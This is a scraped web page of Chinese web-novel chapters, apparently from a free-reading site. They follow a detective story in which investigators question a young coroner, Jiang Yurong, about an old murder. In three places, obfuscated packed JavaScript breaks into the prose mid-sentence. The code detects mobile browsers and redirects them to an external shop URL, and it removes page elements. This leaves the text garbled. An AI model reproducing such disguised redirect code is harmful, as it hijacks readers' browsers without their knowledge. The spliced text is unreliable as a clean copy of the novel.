“现下接近卯时,日头已经升起来了,我们先往里走一段距离,探探情况,日落之前若无收获,咱们便下山。”胡碟道。 “好,”谢明乾道,“如今我们对此地不甚了解,只有先试试。” “嗯。凭我们几个人,要搜山是不可行的,所以我们只是进去试试看,里面若常有人活动,那么此山便容得下采药郎,若素日无人敢去活动,则此山危险重重,那采药郎有再大的本领,也不可能存活,一定会跑出来。” 她转头,对身后的几人道:“只需探得这般结果,无需纠结于花大力气找人。” “明白,”谢明乾道,“亏得你在,若是我等前来,恐怕就要莽撞搜山,尸骨无存。” 胡碟生活的山乃洞天福地,山间云雾奔腾,鲜活有灵,是以也险象重生,自幼便要学许多在山间生活的技巧,由她开路,再合适不过。 “敏理兄看起来如此文弱,让你开路我都有些不好意思了。”谢明乾道。 胡碟睨他一眼,道:“我前些日子才宰了一头几百斤的大肥猪。” 谢明乾恍然道:“是、是,是 17. 第十七章 《南都乃我掌中之物》全本免费阅读 破山、谢明乾双双拔剑,破山的剑光之凌冽全然不输当关剑,甚至更甚几分。二人手持利刃立于前方,呈进攻之势。 阿九敏捷跃至胡碟身前,左手提刀,刀身未展,只作防御之用。 胡碟小心将手放在她肩上,见她并不排斥,靠近些越过她的肩膀朝前看去。 那鬼影似凌空而起的烟花,飞速超前,不做停留,行迹如墨线般笔直,一晃眼便不见了踪影。 “你见过鬼么?”胡碟仰着头,幽幽发问。 阿九收回刀,道:“不曾。” 谢明乾收了剑,不可思议道:“咱们这是白日见鬼了?” 破山走回来,撞过他的肩膀:“想什么呢,倒是你,净鬼扯了。” “只是个影子,不清楚是什么做的。”胡碟若有所思,“只是这鬼好像不太聪明,不会拐歪似的。” “继续往里走吧。”破山道。 “其实……”胡碟突然来了句,“我们可以不用去了。” “为何?我们进山还没走几步呢。”破山挑着露出来那只眼的眉毛。 “我们进来时,天光正要升起,那时山间的寒凉程度竟仍然十分剧烈,你看,”她食指碾过谢明乾袖口,“都凝成霜了。” “时值清明之前,阳气还未大肆上升,山间之气变化多端,如今虽不比冬日,但也绝非是能住人的,他当时进山一定是幌子,定然是下山逃进城了。” “那咱们现在就下山?”谢明乾思索一番,问道。 “对,但不直接进城,还是先问问附近的农户或猎户,看他们怎么说。” “好,那便动身。” 四人商定,正欲下山,却听山上不远处传来一声凄厉的惨叫声。 “啊——” 响破长空,惊起飞鸟。 谢明乾看了看高耸的云端与茂林,同破山对视一眼,利剑出鞘,并肩往山上冲去。 阿九站在胡碟身旁,低声道:“得罪了。” 言毕搂住她的腰往上一提,飞身跟上。 胡碟愣愣地看着阿九,道了声:“谢、谢谢。” 阿九目不斜视点了下头,表示知道了。 谢明乾与破山赶到,只见一位头发有些花白、一身粗布短打的老大爷倒在地上,浑身发颤,形容枯槁,梗着脖子直往树皮上钻,好似这样能躲进树洞一般。 破山上前将他搀起来,他战战兢兢不敢看人,向后退倒,又要跌坐下去,嘴里大喊起来:“鬼啊,鬼啊——” 胡碟从后面跟上来,将挡住视线的谢明乾扒开,凑到这老大爷跟前,打量片刻,直起腰道:“他也遇上那鬼了?” 谢明乾道:“估计是了。” 胡碟望了望自己这一行人,好奇道:“那鬼影,有那么可怕?” “我觉得没什么好怕的,”谢明乾道,“但我们是几人同行,又有功夫在身,自然遇到什么妖魔鬼怪也好,飞禽猛兽也罢,都是不怕的。” “说得倒是没错。”胡碟认可道,“这老大爷独自进山,前方路途晦暗不明,突然闯出个鬼,被吓到也是自然。” 说话间,老大爷一直畏畏缩缩地往破山背后躲,仿佛见到什么骇人的东西,不断颤抖着摇头,树皮般老皱的脸上血色全无。 胡碟背着手,闲庭信步环视一圈,瞧见一把掉落的弓和散落一地的箭矢。 “是个猎户,”她朝谢明乾挑眉,“过来看看。” 谢明乾闻言往这边走,见了她面前的弓箭便蹲下来察看:“应该是才掉在这儿的,估计是这老大爷的。” “嗯。”胡碟自然也能猜到这是谁的,她唤谢明乾前来可不是问问意见的。 她负手而立,穿透云层的浅浅阳光似在朝露中洗净,打在她脸庞,静谧无边。 谢明乾听见声响,抬眼便见她扬起的下巴和安详美好的晶晶白光。 她道:“捡起来吧。” 谢明乾没回神:“嗯?” “捡起来给他带回去。我们带他一同出山。”胡碟撂下这句话,悠然离去。 谢明乾抬手挡住阳光,透过指缝,感叹那栩栩流淌的阳光是如此透白澄澈。 他无奈垂下手,捡起了弓箭跟上去。 - “大爷,这是你家么?”弓箭由破山提着,谢明乾背着那老大爷走了一路,脖颈上洒满了汗滴。 到山脚下小路又前行好一段,可算是碰见几座茅屋。 索性老大爷是个干巴老头,不算太重。 他迷迷糊糊睁开眼,瞧见一座茅屋前飘着自家晾的衣裳,伸出手胡乱晃了几下,沙哑着嗓子:“是这儿、是这儿。” 谢明乾将他背到门口,胡碟上前敲门,却不见人来应。 “大爷,你家里人呢?” 大爷恍惚道:“不在、不在,没人做饭……” 胡碟瞧谢明乾脖颈上粼粼的汗珠瞧得晃眼,轻叹了口气,道:“将他放下吧……” “这是怎么了?”不远处有个妇人的声音传来,带着几分急切。 胡碟往外面看,原来是隔壁屋子里的妇人,想来是邻居。 那妇人放下手里的针线,急匆匆跑了过来。 她拿出把钥匙,熟练将房门打开:“孙大爷的妻子吴大娘,回家看小侄儿去了,托我们夫妻照看家里。” 门开后,谢明乾将孙大爷放到了床铺上,而后擦着自己下巴上的汗道:“让他睡会儿吧,神志不清的。” 走了一路,胡碟身上也出了些汗,这会儿停下来,打湿的背心传来凉意,她没忍住,屈指掩住嘴咳嗽了两声。 谢明乾将手摊开贴在她背上,温声问:“怎么还在咳,病了么?” 胡碟懒得理他:“咳…少咒我……” “怎么会呢,”谢明乾一本正经,“没了你我跟个无头苍蝇似的,我那案子怎么办,我怎么敢……” 胡碟瞧了眼那妇人正忙着给孙大爷盖被子,道:“小点声……咳…咳” “你真的不用看看大夫么?”谢明乾着实忧心,眼中满是关切。 “热……热水,喝点热水就行。” “好。”谢明乾叫来阿九扶住她,自己去问热水。 “大姐,怎么称呼啊?”他对那妇人道。 “我姓郑,叫我郑大姐就行了。”那妇人笑得腼腆。 “郑大姐,想问您借点热水喝。” “啊…热水,有有、有,”郑大姐笑得热切,“你们上我家来,我现在给你们烧。” 她脸上洋溢着宽厚的笑容,一边说着,一边把几人往家里带。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914513|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那颗糖,嘴角的笑容难以掩盖,仵作被人看不起,外界又说她是个私生女,她从小看惯了别人的白眼,还是第一次接过别人手里的糖。 谢明乾听见蒋玉蓉嘴里的那个叔叔,有些激动:“你真的,你真的见过他们?” 他的心上又温暖又疼痛,温暖的是第一次见到那个人时,他也是如此温柔地摸着他的头发对他笑,递给他一块甜滋滋的糖:“小花猫,以后就是我徒弟了。进山门,先吃师父一块糖。以后净巍宗就是你的糖罐子,永远给你存着一块糖。”而疼痛的是,那糖永远也不会再有了。 “嗯嗯,我不会记错的。”蒋玉蓉使劲地点头。 谢明乾有些着急,直直地问出那个问题:“那么你是否记得,这位会医术的叔叔落脚的医馆?你有没有去那里见过你的父亲?” “父、父亲?”蒋玉蓉眼前有一瞬发白,被问懵了,难以思考,“什、什么父亲?我没有父亲啊……” 外面的都说她是没有父亲的野种,家里人也从未和她提起过什么父亲,这个陌生的词汇好像一直是她生命中的禁忌,一个不被提起的秘密,从前没人问,她也不关心。可是今天忽然有人问她是否去见过父亲,她只觉得从前被别人嚼舌根时的委屈,如同吃进胃里的黄连,一圈一圈地在喉咙里泛着苦,痛得她浑身都疼。 “我不知道你在说什么,我没有父亲,更没见过什么父亲……我真的不知道……”蒋玉蓉连连后退,攥着春信袖子的手不断收紧,盈着泪水的眼盯着她,不停地摇头。 春信见着那泪水心里疼,握住她的手拍了拍:“不用怕。” 胡碟见情况不对,站上前将谢明乾拉住,对他轻轻摇了摇头,那双清冷的眼无声说着“交给我”,谢明乾愣愣地点了点头,默默坐了回去。抚摸着手腕上的那条发带,有些后知后觉自己对胡碟的依赖,也后悔自己再一次心急错失良机。 “蒋姑娘,实在抱歉。其实我们只是想知道你有没有去过那家医馆,是否在那里见过那个会医术的叔叔,又是在什么时候见的?”胡碟想替谢明乾卖个惨,“你不是说那位叔叔曾给过你糖吃么,你可知那位叔叔如今已经被害死了,若要为他报仇,我们必须知道些线索,不得已才想求教你的,能不能麻烦你好好想想?” 蒋玉蓉却什么也没听进去,只知道胡碟说今日叫她来与那位叔叔的离世有关,便一个劲儿地摇头:“不是我,我那时还是个小孩子,他的死跟我没关系……” 胡碟微不可查地叹了口气,转身瞪了谢明乾一眼。蒋玉蓉是个没怎么出过门的小姑娘,想必从小就对父亲一词既陌生又抵触,不知遭多少流言蜚语,如今谢明乾冒险一问,恐怕是吓得心智涣散,连她换个问题也听不明白了,只知道说自己没有害人。 谢明乾收到那眼神的质问,心虚地摸了摸鼻子,而后轻轻拽了拽胡碟的衣袖:“是我不好……” 73. 第七十三章 胡碟看着眼前惊慌失措的蒋玉蓉,摇了摇头:“我早知你心急,应该由我去问的。事已至此,尚有回旋的余地,此时不是责怪的时候。” 谢明乾眼见着胡碟留下这句话后朝蒋玉蓉走去的背影,心上一股暖流流过,融化了他这么多年孤独自责的心上冰原。 “蒋姑娘,先坐下喝口茶吧。” 守一和春信闻言扶住蒋玉蓉往旁边的椅子上去,胡碟倒了一杯新沏好的茶,滚烫冒着热气,递到蒋玉蓉面前。 蒋玉蓉瞥见眼前白玉般的修长手指端过来一杯茶水,受宠若惊地接过,在水雾袅袅中慌乱地点了点头。 胡碟在她左侧坐下,待她咽下一口茶水,端端正正地坐好,一双小鹿似的眼睛转转悠悠望向胡碟,才温声开口:“蒋姑娘,上次多亏了你,我们才能知道瑶梨这么个东西,你真是帮了我们大忙。” 蒋玉蓉有些局促地将茶杯放到桌上:“大人您言重了,多亏了知县大人的首肯,我才能和表哥一起来验尸,这是我分内之事,谈不上谢不谢的。” 胡碟浅笑:“向你道谢,也是我的分内之事。” 蒋玉蓉闻言有些羞赧地低下头,没有回话。 “如此看来,蒋姑娘实在是很有天赋,比起你表哥,有过之而无不及,是吧?” “没有没有,”蒋玉蓉摆手否认,“我哪里比得过表哥呢,表哥是得了外公真传的,而我只是平日里看些书罢了。” “对,我记得蒋姑娘说这瑶梨,也是在书中看到的?” 蒋玉蓉咬着唇点了点头。 “那不就是了,”蒋玉蓉看着对面的人温柔地笑起来,笑意盈盈,那笑容坦荡又温和,叫人如沐春风,挪不开眼,“你表哥得了老仵作真传,而你只是自学书本知识,却能解决你表哥都解决不了的问题,帮了我们这么大一个忙,这不就说明你比他厉害许多么?” 蒋玉蓉呆呆地看着她,觉得什么话经由她嘴里说出来,都叫人信服,莫名有了几分自信,抿着唇止不住地点头。 “蒋姑娘,你看。”胡碟指着守一和春信,在她们不解的眼光中继续往下说,“这两位都是武艺高强的侍卫,她们也都是女子。” 蒋玉蓉一听,眼睛立马亮起来,一脸崇拜地看向她们二人,刚才她担惊受怕,生怕自己在一堆男人沉重的眼光里被撕着吃掉,是这两位姑娘一直站在她身旁守着她,才让她少了几分担忧,如今听闻她们武艺高强,更是羡慕得紧,这样温柔又强大的女子,怎么不让人向往呢? 胡碟看着她的眼神,满意地继续开口:“她们二人现在来帮我的忙,不过从前,她们是在那位大人手底下做事的,不管是武艺还是读书识字,他都未曾阻拦,在能力范围内给了最好的,不管是冒险还是冲锋,也都不嫌弃她们是女子。” 蒋玉蓉顺着胡碟指的方向看去,看见那位先前沉着脸问她话的大人此刻表情有一丝的呆滞,随后恢复如常冷峻。随着胡碟的话语,蒋玉蓉先是害怕,后来便转为平常。 “你看,他只是脸臭,我第一次见他时,也被他的臭脸气得暴跳,但是人不可貌相,他其实是个好人。”胡碟有些戏谑地看着谢明乾,挑衅似的幽幽开口。 谢明乾迎上她的目光,山石般冷硬的面上蹦出一丝裂痕,嘴角轻轻扯出个微笑,这一笑,比阳光还耀眼。 蒋玉蓉信了,他是个好人。转而又看向胡碟,好似在问:他是个好人,所以呢? 胡碟不慌不忙地开口:“先前你进门后便叫人把门关上,不是怕你逃跑,而是有些案情只想偷偷向你请教,还请姑娘莫要见怪才是。至于方才那位大人,办案心切是官府之人的常态,我想蒋姑娘作为仵作,应当也知道查明真相,还死者一个公道的重要吧?” 蒋玉蓉有些惊讶,没想到她从进门之后的心里想法,这位大人全都知道。顾不得多想,她郑重道:“我能理解的,我不会怪各位大人,方才是我太害怕太激动了。” “那好,不知道蒋姑娘可否愿意帮助我们,再想一想一些从前的事?” 蒋玉蓉却再次迟疑了,关于所谓的父亲的事,是家里最大的秘密,就算她曾经走在路上被几个顽劣的孩童扔石子骂是没爹的野种,哭着跑回家去,母亲和外公也未曾向她解释过家里的这桩事。她如今是既不想提,也不知道答案。 胡碟见她为难,便道:“先前是我们唐突了,我们想问的并非你的家事,而是想问问先前你说见过的那位,给你糖吃的叔叔的事。” 蒋玉蓉这才放心下来:“那位……叔叔?” “对,就是那位叔叔,你说你见过的,我们便是想问一些关于他的事。” “他我是记得的,印象很深刻,可是我们却并不是太熟,因为那会遭灾,大家都在忙手头的事,我与那位叔叔也只是打过照面而已。” “你说你们各有分工,那位叔叔负责治病救人,而你们负责敛尸,是么?” “是的,”蒋玉蓉仔细回忆着,“那位叔叔来的时候便带了些药材,一直与医馆的大夫一起救人,应该大部分时候都待在医馆里。我们呢负责敛尸,就在家里等着,那些人若是遇见了尸体的,便来我家知会一声,因为洪水中遇难的尸体,通常都很难处理,寻常人家根本没辙,只有交给我们。而那位叔叔他们的医馆那边,若是遇见哪个受伤或生病的患者去世了,便也来告诉我们,我们家再去处理。我们便是这样分工的。” 胡碟捕捉到这话当中的关键:“医馆去世的患者也会来知会你们?这些人不应该先告诉亲属么?” 蒋玉蓉摇头:“平时自然是这样的,但遭灾的时候,有些人也许家人也被冲走了,若是都等着家人来接,恐怕那医馆里堆满了尸体都还找不到家人,所以他们与我们商定,在医馆去世的人,也先由我们处理,之后再寻找亲属。” 胡碟眼前一亮:“你可认识城东卖酒的老林头?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942161|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 胡碟说完这话便紧盯着蒋玉蓉的神色,生怕错过她脸上一丝一毫的变化。可蒋玉蓉神色如常,只像是在思考一个寻常人是否曾出现在自己的记忆里一般,仔细思量一番:“没有啊,我们家里人都不怎么喝酒,就算要喝酒也是喝自己家里酿的酒,毕竟仵作人家遭人嫌弃,我们也尽量避免与别人打交道,怕别人觉得晦气,也怕给自己带来不必要的麻烦。你说的这位城东卖酒的老林头,我是既没听说过也没见过。” 胡碟看她的神色,没有丝毫的心虚和动摇。难道她去医馆见自己父亲之时,并不知道对方的身份? 蒋玉蓉对这件事上了心,好似真的想帮他们找到这个人一般,正襟危坐地反问了好些问题。 “这位大人,这个老林头,他可是在那场洪灾时过世了?” 胡碟心上一动,她总觉得这位蒋姑娘能给她们带来些惊喜,没有犹豫地回答道:“正如你所言。” “嗯,我想也是,不然你们也不会问到仵作家来。”蒋玉蓉稚嫩的脸上一脸严肃,全然没了先前的怯懦与慌张,“只是我不明白,若想了解那年我们家敛尸的情况,我外公和姑姑是大人,比我这么个小孩子可记得清楚多了,为何你们单单只请我来呢?” 蒋玉蓉好奇地看着胡碟,胡碟却看了一眼其他人,满室沉默。 在这沉默的同时,陈祥正站在西面的小门处,焦急地来回踱步。自从徐友来叫蒋玉蓉注意女子身份之后,回回来验尸,陈祥都为了照顾表妹而从这道小门进去,只是却不知,如今这小门却成了一道坎,一道踏入便是幽冥万丈深渊的坎…… 蒋玉蓉眼看着对面的人微微变了脸色,好像猜到了什么:“你、你们难道认为那卖酒的老林头是我爹?” 胡碟掀起眼皮看她,眼中的神色骗不了人,她就是这么想的。 “这、这怎么可能呢,我家里人从未跟我说过,再说那老林头我也没见过,就算万一他真的是我爹,我也不了解他的情况啊,我真的不知道……” 胡碟面色一瞬间地凝重,蒋玉蓉不像是个会说谎的人,再说眼下的情况来看她也没必要隐瞒,难道真的是找错人了? “蒋姑娘,确实如你所说,我们查到了一些相关的事情,所以想来找一位与老林头有关的人,以作为那位剑客医者的证明,为他脱罪。若你不认识老林头,也就算了,这没什么要紧的。我想请问你,是否记得那年有一个钦差被杀的案子?” 蒋玉蓉脑子里一团混乱,什么也想不起来。 守一见状,倒是开了口:“那案子,发生在夏至前夕,那是你年纪小,兴许不记得什么案子,可是夏至前夕,你可有些印象?” 蒋玉蓉一听,再次陷入回忆中,那张脸上写满了纠结与迷茫,叫人越看心越沉。蒋玉蓉脸上忽地闪过一丝喜色:“我记得,我记得那日的!” 众人皆是屏息以待,盼望着蒋玉蓉能说出他们心里所期待的东西。 74. 第七十四章 蒋玉蓉回忆着从前,细弱的声音断断续续:“那年我听外公说,夏至之日有立竿不见影的说法,在夏至这日将竹竿立在阳光之下,有那么一些时刻,竹竿的影子会消失,所以我那年一直惦记着这个日子。可是后来禹城遭了灾,外公也就没时间带我玩儿立竿不见影了。” “我之所以记得,是因为那时我贪玩,在屋子背后悄悄地想找根竹竿插在地里,可是我力气小,那竹竿怎么也立不起来,我试了好久,直到日落西山母亲找不见我,我才作罢。那日母亲还把我骂了一顿,说家里现在这么忙,我还偷偷出去玩,真是不像话。我还和她顶了几句嘴呢。” 胡碟问:“这么说来,那日傍晚之前你一直在家里,没有出过门?” “没有出过门,我一直在家里。” “你在屋子后头玩了多久?” 蒋玉蓉歪着头回忆道:“我记得表哥跟我说,他以前也玩过这个立竿不见影,若想要捕捉到没有影子的时刻,至少要在正午之前开始准备,这样才更有可能见到立竿不见影,所以我差不多是吃完早饭就偷偷溜了。” “这便有些奇怪了。”胡碟凝起眸子,“那时你还小,能在家里帮上的忙也不多吧?” “是不怎么多,我也就是打打下手,帮忙做一些小事。” “既然如此,你就算在家也帮不了太多忙,你母亲为何要责怪你呢?再说,你母亲这般着急地找你,也有些古怪,毕竟你在外头玩了一个下午,怎么偏偏这时候就发现你不在屋子里,着急忙慌地来找你呢?” 胡碟一双利眼紧盯着蒋玉蓉,将她的表情尽收眼底,见她为难地抓了抓辫子,有些纠结地说道:“嗯……兴许是我记错了,母亲确实说了我贪玩,但是那时生气,主要还是因为到了吃饭的时候,我平日里就老是喜欢玩泥巴玩到忘记回家吃饭,挨骂也是常事,我想母亲应该是因为这个才骂我的。” 胡碟却摇了摇头,显然有些不赞同这个说法。 蒋玉蓉皱着眉头,拼命地回想着,可是却不知道该想起来什么、该说什么了。 胡碟又问:“那日你母亲寻你回去,真的只是为了叫你吃饭,而不是着急找你回来,好叫你去什么地方,却看你不在屋里,才这么生气?” 按照胡碟的推测,蒋玉蓉的母亲对于她不在屋里这件事大动肝火,显然不是教训顽劣的孩童这般简单,更有可能的,是她母亲想要叫蒋玉蓉去看看老林头,那时老林头生命垂危,蒋玉蓉母亲的焦急也是情理之中。 蒋玉蓉抠着衣角,思虑半晌,却摇摇头:“真的只是为了吃饭,我那时还跟她顶嘴呢。”说到这儿,蒋玉蓉不自在地抠了抠手指,“从前小孩子心性,最是记仇了,每次跟母亲吵架我都记在心上,一字一句都不会忘。” “那是印象中很少和母亲顶嘴的时候,小时候我总觉得母亲对表哥总是和颜悦色,对我却要求严格。而且明明她自己也学了验尸的,却不许我去学,心里一直憋着气。但母亲平日里对我很好,我也不想惹她生气,也就是在那段日子里,我趁着禹城遭灾尸体数量多,家里应接不暇的时候吵着说要学仵作,母亲每次都不同意,我才觉得憋屈,所以那日她骂我,我便顶了几句嘴。” “我说你们不许我学仵作,现在又叫我帮忙,你们才是不像话呢!我还说,今天表哥不在,你才想起我来罢了,平日里你让表哥学仵作,也很少管这管那的,你分明是喜欢表哥多些,不喜欢我这个来历不明的女儿罢了。” 蒋玉蓉想起那时说的话,总有些难过,呢喃着:“母亲听了直掉眼泪,说我怎么会这么想,她都是为我好,人人都只管教自家孩子,只疼爱自家孩子,怎么到了我这里,就是她喜欢表哥多过我呢?母亲哭得犯了头病,我在家里一直照顾她,一直到晚上睡下,我真的没有出去过。” 蒋玉蓉恳切地看着胡碟,见她眼中的讶然,不知自己是说对了还是说错了,急忙看向身边的其他人,可不管是春信还是守一,亦或是那位“好大人”,皆是一脸震惊,有如坚冰冻在脸上,动弹不得。 她有些赧然地找些话来说:“我这也才想起,表哥那日不知道出去干什么了,我们吃完饭他才回来,还有些失魂落魄的。想来那日表哥不在,母亲确实是忙不过来的,是我太贪玩了,母亲骂我是应该的……” 胡碟看着蒋玉蓉在自己面前,嘴巴一张一合地说了好多话,却怎么也回不了神。 原来那日仵作家里确实有人出了门,只是那人不是她们以为的蒋玉蓉,而是她的表哥陈祥。 如果去的是陈祥而非蒋玉蓉,那么刘庆所说“见到了老林头的儿子”便是无误的,也并不是刘庆弄错了性别。 要这么说的话,陈祥才是那个流落在外的儿子,陈祥和蒋玉蓉,应当是交换过来养了。陈家与医馆有来往,陈氏恐怕是知道老林头命不久矣,才叫陈祥去探望吧。 胡碟想到了一种可能,甚至极有可能就是事情的真相。 “蒋姑娘,或许有些冒昧,想问一问你今年多大了?” “我么,”蒋玉蓉不知面前的人所为何事,但还是回答了,“我今年十七岁。” 胡碟笑道:“这么说来,你与我们家春信和守一年龄相仿,以后你来县衙,可以找她们聊聊天。” 蒋玉蓉有些胆怯地抬起眼看了看二人:“真、真的可以么,我平日里都没什么朋友的,别人总嫌我们身上有不好的味道。” 春信咧嘴一笑。伸手搭上蒋玉蓉的肩头:“放心吧,我们可是上过战场的人,什么血腥死人都不怕,你来找我们玩儿便是。” 守一朝春信的手望去,果然瞧见她的指尖微微颤抖着,不由得觉得好笑。一转头,发现春信圆溜溜的眼正盯着她:“笑什么笑?” 守一收敛嘴角摇摇头,留春信气鼓鼓地别过头去。 胡蝶道:“仵作是令人敬佩的,只是世人大多肤浅罢了,若是有缘,自然会成为朋友。若这么说起来,你们兄妹二人自小也就只能与彼此作伴玩耍了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942162|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋玉蓉道:“表哥虽然大我几岁,但却是很照顾我,经常带我一起玩。” 春雨在一旁听着这番对话,觉得有些不对劲,按照户籍上写的,蒋玉蓉好像并不这么年轻,但看她的样貌及行为举止,确实像是十七八岁的。 难道是他记错了? 他紧锁着眉头,向谢明乾示意一下,便悄悄离开了,他得再去确认一下蒋玉蓉的信息。 胡碟心下有了些判断,对蒋玉蓉道:“想必你表哥是个听话的孩子,你母亲才这般喜爱他,叫你觉得母亲偏心。” 蒋玉蓉没头没脑地笑了一下:“那是自然的,表哥从小就听话懂事,母亲和外公都喜欢他呢,不像我,从小母亲就说我调皮捣蛋,老是骂我。” 胡碟道:“常言道,爱之深责之切,你母亲管你管得多,也是因为她疼爱你。” 这么说,是因为胡碟想再听蒋玉蓉讲一讲她与她母亲相处的细节,或许能找到些什么信息。 蒋玉蓉果然回应:“我明白的,母亲对我是很好的,很多时候家里有什么好东西,她都会偷偷留起来给我,我有时还会感到对不起表哥,想加母亲别偏心我,母亲总是轻轻一笑。只是在学仵作这件事上,她总说姑娘家学了仵作不好嫁人,叫我不准学。可是我才不着急嫁什么人呢,我只想学仵作。” 蒋玉蓉心情有些低落,春信接到胡碟的暗示,拍了拍她的肩膀,叫她别难过。 胡碟垂下眼眸,眼中泛起思量。按理说如果陈祥才是那个儿子,陈氏不应该偏心自己的儿子多一些么,可她对蒋玉蓉疼爱有加,严格管教,十分上心的样子,这样来看的话,蒋玉蓉是她亲生孩子便是毫无疑问的。难道这当中,还有什么隐情? 这案子一时之间又是云里雾里,线索断断续续,叫人看不真切。 胡碟没有什么要问的,交代了蒋玉蓉几句,叫她回去之后若是有人问起,便将一切如实相告,也无需隐瞒什么。 “蒋姑娘,今日多谢了,叫春信送你回去吧。” 春信笑着揽过蒋玉蓉,小丫头蹦蹦跳跳地跟着出门去了。 前脚二人一走,后脚春雨便拿着火急火燎地闯了进来,胡碟见他气喘吁吁的样子,却是连他何时出去的也不知道。 “春雨,你出去是干什么了?”谢明乾是知道春雨出去了的,就是不知春雨是去干嘛。 “我、我方才总觉得哪里不对劲,后来才发现,蒋玉蓉说她十七岁,五年前才十二岁,根本不可能是刘庆说的那么大,所以我怕我记错了,就回去找她的信息了。” “喝口茶吧,慢点说。”胡碟趁着春雨歇气,道:“我方才也觉得不太对,但我想,刘庆对老林头那个所谓的儿子的描述可能不太准确,尤其是年龄,可能有很大出入,所以我想,不去考虑刘庆所描述的,而是多着眼于当下所掌握的信息。” “对,当下的信息,就是有问题,”春雨将杯子往桌上一搁,不可思议道,“我们忽略了一个很诡异的细节!” 75. 第七十五章 “最开始的时候,因为蒋玉蓉和陈祥都不符合我们事先以为的特征,所以我只是草草略过,没有放在心上。后来老林头这个儿子的特征以及我们查找的范围一变再变,我又翻看了他俩的信息好几次,都没发现什么特别的东西。可是今日,我总觉得蒋玉蓉年轻得不对劲。” “年轻得不对劲?”胡碟扬眉,怎么会有年轻得不对劲这种说法? 春雨似是看出了她的疑惑,解释道:“你们想想看,我们是如何怀疑上蒋玉蓉的,又是如何觉得她的信息对不上的。蒋玉蓉的信息,出生背景、年龄等等都是符合的,然而就是因为她是个女子,我初时才觉得她绝不可能是我们要找的人。但问题就出在这里,我负责找这些户籍信息,已经是极为熟稔,要让我觉得她很符合条件,那么年龄一定是首先满足的条件。我们筛选的标准和范围一变再变,可是这年龄是确定的。” “我明白你的意思。”胡碟道,“刘庆以为的那个老林头儿子的年龄不作为主要参考,是我方才才提出来的,但在这之前,我们都以为那个所谓的儿子在五年后的今天,至少应该有二十多岁了,可是蒋玉蓉的年纪与我们之前所猜测的年纪并不一致,你之前却说她除了性别,与我们要找的人都对得上,那么便说明……” “蒋玉蓉的户籍信息有误……” 一刹那,所有人都抬起头来,异口同声地说出了这句话。浅淡阳光西斜,照耀之下,每个人的眼神都充满了疑惑与后知后觉的不可置信。 “你们看,”春雨将手头上的纸展开,“这上头写的,陈祥是陈家的大儿子和大儿媳妇所生的孩子,出生在十七年前。可是蒋玉蓉是陈氏女的孩子,先于陈祥出生整整三年。按照户籍上所记录的,他们俩应当是姐弟而非兄妹才对!” 胡碟道:“原来如此。这么说来,事情应该与我所料不差……” 谢明乾眉梢带笑,拍案而起:“这么说来,陈祥才是老林头的儿子,我们终于找对人了是么?” “你们找谁找对人了?”春信的声音先一步走进,随后人影便踏着霞光步步靠近玄鉴堂。 “春信?”胡碟有些疑惑,“你怎么这么快就回来了,”她看了看春雨,“方才春雨去接蒋玉蓉的时候,花的时间可比你多,你偷懒去了?” “没有没有,怎么会呢。”春信瞪了胡碟一眼,“我看起来像是会偷懒的样子么,我又不是我哥……” “春信,你这死丫头欠收拾了是不是?”春雨插着腰挑衅地看着春信。春信做了个鬼脸:“就说你,就说你,有本事你来收拾我。” 春雨全然忘记了自己正在讨论案情,抬脚就要走上去,破山及时将他拦住:“行了吧你们兄妹要打等会儿再打。” 谢明乾拍了拍桌子:“现在查案,是给师父翻案的关键时候,在你们心里,到底是师父重要还是拌嘴重要?” 春信兄妹二人低下头不再说话,胡碟跟着打圆场:“春信,问你话呢,怎么这么快就回来了?” 春信有些呆愣,显然不是太想回答这个问题:“我送她到西边小门,她表哥陈祥在那儿等着她呢,她便说不想麻烦我多跑一趟,叫我回来,她与她表哥一同回去就是了。” 胡碟与谢明乾对视一眼,有一种急迫在空中蔓延。胡碟道:“事不宜迟,今日就将陈祥带来问话!” 春雨自从看到户籍信息的有问题的那一刻,心里便点起了火把,蓄势待发,想将故事的迷雾拨开,将人证找到。他急不可耐的心最先反应过来,拔腿就走,恨不得乘奔御风:“先把人抓回来再说!” - 县衙西边小门外。 蒋玉蓉捞起面纱将脸盖了个严严实实,隔着那扇朽旧的木门望着春信离开的背影,那般自信从容。她低头看看自己,又看看辽阔的天空,仿佛觉得这个世界很广阔,如清风一般飘荡无边界,又觉得世界很狭窄,窄到只有那扇朽旧的木门上的一条缝隙那般大小。 “表妹,快些回家吧,姑姑做好了饭菜等我们呢。”表哥催促的声音在身后响起,他似乎有些着急。也对,母亲辛苦做了饭菜,若错过吃饭时间,她总要不高兴的。 “走吧。”蒋玉蓉抬起手摸了摸面纱,心里道了声来日方长,这里,她一定还会再来的,不必如此留恋。 